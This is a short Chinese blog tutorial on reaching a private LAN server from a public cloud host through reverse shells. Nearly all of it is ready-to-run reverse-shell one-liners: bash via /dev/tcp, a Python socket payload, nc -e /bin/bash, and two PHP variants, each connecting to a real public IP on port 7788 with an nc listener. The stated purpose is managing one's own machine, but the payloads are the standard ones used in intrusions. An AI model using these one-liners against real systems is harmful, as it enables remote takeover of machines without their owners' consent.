欢迎访问我的博客,你的支持,是我最大的动力!

利用linux反弹shell实现在公网主机上操作私网服务器

Linux 马从东 39℃ 评论
目录:
[显示]

实验环境
公网服务器:阿里云        39.108.72.123 7788  A
私网服务器:本地局域网 192.168.1.120  B
目标:在阿里云主机A上连接局域网服务器B的shell

方法1:使用linux命令反弹shell
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行
bash -i >& /dev/tcp/39.108.72.123/7788 0>&1
# 此时即可在A上操作B
## 若要退出 使用exit命令
方法2:使用python反弹shell
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行python命令
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('39.108.72.123',7788));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
# 此时即可在A上操作B
## 若要退出 使用exit命令

方法3:使用nc反弹shell
# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上安装nc
yum install nc   # yum install nmap-ncat
# 在B上执行
nc -e /bin/bash 39.108.72.123 7788
## 该方式不会显示提示符
## 可以B上ctrl + c 退出 或在A上通过 exit 退出
方法4:使用php反弹shell

使用php的exec函数

# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行
php -r 'exec("/bin/bash -i >& /dev/tcp/39.108.72.123/7788");'
## 注意 效果非常不好
## 只能在B上输入命令 在A上显示  相当于接了一个远程的显示器

使用php的fsockopen函数

# 在A上用nc监听7788端口
nc -lvp 7788
# 在B上执行
php -r '$sock=fsockopen("39.108.72.123",7788);exec("/bin/bash -i <&3 >&3 2>&3");'
# 此时即可在A上操作B  该方式会回显输入的命令
## 若要退出 使用exit命令

 

转载请注明:轻风博客 » 利用linux反弹shell实现在公网主机上操作私网服务器

喜欢 (0)or分享 (0)